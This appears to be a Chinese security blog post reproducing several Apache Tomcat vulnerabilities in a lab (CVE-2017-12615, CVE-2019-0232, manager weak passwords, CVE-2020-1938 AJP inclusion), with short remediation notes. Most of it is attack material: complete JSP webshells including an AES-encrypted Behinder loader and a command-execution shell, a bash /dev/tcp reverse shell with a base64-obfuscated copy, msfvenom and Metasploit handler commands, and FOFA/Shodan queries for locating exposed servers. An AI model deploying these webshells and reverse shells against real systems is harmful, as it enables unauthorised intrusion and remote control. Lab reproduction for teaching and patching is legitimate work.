原创 | web中间件安全-Tomcat漏洞复现
前言
Tomcat简介
Tomcat安装
https://www.oracle.com/cn/java/technologies/javase/javase-jdk8-downloads.html
https://tomcat.apache.org/download-80.cgihttps://archive.apache.org/dist/tomcat/tomcat-8/
http://localhost:8080
显示一下页面表示安装成功:
C:\Program Files\Apache Software Foundation\Tomcat 8.5
漏洞复现
1、任意文件写入(CVE-2017-12615)
1)影响范围
Tomcat 7.0.0-7.0.81(默认配置)
8.5.19
sudo docker ps
sudo docker exec -ti 0f864 bash
cat conf/web.xml | grep readonly
http://192.168.3.14:8080
2)漏洞复现
1. 空格绕过
PUT /ch4nge.jsp%20上传到windows会被自动去掉末尾空格
2. NTFS流绕过
:$DATA :
3./绕过
PUT /ch4nge2.jsp/
<%import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
::$DATA
,第三个正常
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
http://192.168.3.14:8080/ch4nge2.jsp?cmd=id
3)修复建议
2、远程代码执行(CVE-2019-0232)
1)影响范围
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
影响系统:Windows
复现环境:9.0.17
2)环境搭建
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
1. enableCmdLineArguments启用后会将Url中的参数传递到命令行
2. executable 指定了执行的二进制文件,默认是 perl,需要置为空才会执行文件本身。
<Context privileged="true">
C:\Program Files\Apache Software Foundation\Tomcat 8.5\webapps\ROOT\WEB-INF
下创建cgi-bin目录,并在该目录下创建一个ch4nge.bat的文件,内容任意
3)漏洞复现
http://127.0.0.1:8080/cgi-bin/ch4nge.bat?&dir
4)漏洞原理分析
rem ch4nge.bat
echo %*
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class ch4nge
{
public static void main(String[] args)
{
Process p;
String [] cmd={"ch4nge.bat", "ch4nge", "&", "whoami"};
try
{
//执行命令
p = Runtime.getRuntime().exec(cmd);
//取得命令结果的输出流
InputStream fis=p.getInputStream();
//用一个读输出流类去读
InputStreamReader isr=new InputStreamReader(fis);
//用缓冲器读行
BufferedReader br=new BufferedReader(isr);
String line=null;
//直到读完为止
while((line=br.readLine())!=null)
{
System.out.println(line);
}
}
catch (IOException e)
{
e.printStackTrace();
}
}
}
# ch4nge.sh
for key in "$@"
do
echo '$@' $key
done
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class ch4nge
{
public static void main(String[] args)
{
Process p;
String [] cmd={"/root/桌面/tomcattest/ch4nge.sh", "ch4nge", "&", "whoami"};
try
{
//执行命令
p = Runtime.getRuntime().exec(cmd);
//取得命令结果的输出流
InputStream fis=p.getInputStream();
//用一个读输出流类去读
InputStreamReader isr=new InputStreamReader(fis);
//用缓冲器读行
BufferedReader br=new BufferedReader(isr);
String line=null;
//直到读完为止
while((line=br.readLine())!=null)
{
System.out.println(line);
}
}
catch (IOException e)
{
e.printStackTrace();
}
}
}
$@ ch4nge
$@ &
$@ whoami
5)修复建议
1)影响范围
2)环境搭建
docker ps
docker exec -ti 8e4 bash
cd conf
docker cp 8e44ff73d992:/usr/local/tomcat/conf/tomcat-users.xml /root/Desktop/
docker cp 8e44ff73d992:/usr/local/tomcat/conf/tomcat-users.xsd /root/Desktop/
docker cp 8e44ff73d992:/usr/local/tomcat/conf/web.xml /root/Desktop/
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
C:\tomcat9\conf\Catalina\localhost
路径下的manager.xml文件,如果该路径下面没有此文件,则新建,内容如下:
<Context privileged="true" antiResourceLocking="false" docBase="${catalina.home}/webapps/manager">
<Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="^.*$" />
</Context>
3)漏洞复现
方法一
将jsp的webshell压缩成zip文件,把文件后缀修改为war
或者zip命令
zip -r - ch4nge.jsp > ch4nge.war
方法二,java命令
jar -cvf ch4nge.war ch4nge.jsp
<%@page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*"%>
<html>
<head>
<title></title>
<style type="text/css">
body { color:red; font-size:12px; background-color:white; }
</style>
</head>
<body>
<%
if(request.getParameter("context")!=null)
{
String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312");
String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312");
OutputStream pt = null;
try {
pt = new FileOutputStream(path);
pt.write(context.getBytes());
out.println("<a href='"+request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+request.getRequestURI()+"'><font color='red' title='点击可以转到上传的文件页面!'>上传成功!</font></a>");
} catch (FileNotFoundException ex2) {
out.println("<font color='red'>上传失败!</font>");
} catch (IOException ex) {
out.println("<font color='red'>上传失败!</font>");
} finally {
try {
pt.close();
} catch (IOException ex3) {
out.println("<font color='red'>上传失败!</font>");
}
}
}
%>
<form name="frmUpload" method="post" action="">
<font color="blue">本文件的路径:</font><%out.print(request.getRealPath(request.getServletPath())); %>
<br>
<br>
<font color="blue">上传文件路径:</font><input type="text" size="70" name="path" value="<%out.print(getServletContext().getRealPath("/")); %>">
<br>
<br>
上传文件内容:<textarea name="context" id="context" style="width: 51%; height: 150px;"></textarea>
<br>
<br>
<input type="submit" name="btnSubmit" value="Upload">
</form>
</body>
</html>
4)冰蝎上线
https://github.com/tennc/webshell
5)MSF上线
exploit/multi/http/tomcat_mgr_upload
6)修复建议
2、增加对于本地和基于证书的身份验证,部署账户锁定机制《对于集中式认证,目录服务也要做相应配置)。在CATALITNA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。
3、以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。
4、Tomcat manager口令爆破方法
1)获取用户名密码字段
http://192.168.253.86:8080/manager/html
tomcat:tomcat
2)爆破
Custom iterator
dG9tY2F0OnRvbWNhdA==
3)修复建议
0. 使用复杂密码
1.取消manager/html功能。
2. manager页面应只允许本地IP访问
5、Tomcat AJP文件包含漏洞分析(CVE-2020-1938)
1)影响版本
Apache Tomcat 9.x < 9.0.31Apache
Tomcat 8.x < 8.5.51Apache
Tomcat 7.x < 7.0.100Apache
Tomcat 6.x
2)漏洞复现
docker-compose up -d
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
运行环境:python2
靶机地址:192.168.11.92
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.11.92 -p 8009 -f /WEB-INF/web.xml
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.11.92 -p 8009 -f ch4nge.txt
http://www.jackson-t.ca/runtime-exec-
payloads.htmlpayload
bash -i &>/dev/tcp/192.168.10.225/8888 <&1
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTAuMjI1Lzg4ODggPCYx}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
查看id
docker ps
复制到服务器路径
docker cp /root/Desktop/ch4nge1.txt e20097e2c8c1:/usr/local/tomcat/webapps/ROOT
查看文件
docker-compose exec tomcat cat webapps/ROOT/ch4nge1.txt
nc -lvp 8888
3)MSF上线
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.225 LPORT=6666 R > shell.txt
docker cp /root/Desktop/shell.txt e20097e2c8c1:/usr/local/tomcat/webapps/ROOT
docker-compose exec tomcat cat webapps/ROOT/shell.txt
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.10.225
set lport 6666
exploit -j
要想文件包含,必须要运行包含的文件,所以目标文件是jsp才可以,这里需要修改exp中第296行的文件名asdf为asdf.asp
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.11.92 -p 8009 -f shell.txt
4)修复建议
2、禁用AJP协议
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>
FOFA&Shodan搜索方法
fofa
app="Apache-tomcat"
shodan
product:"Apache Tomcat/Coyote JSP engine" http.html:"Managing Tomcat"
参考
相关文件下载
提取码:ar20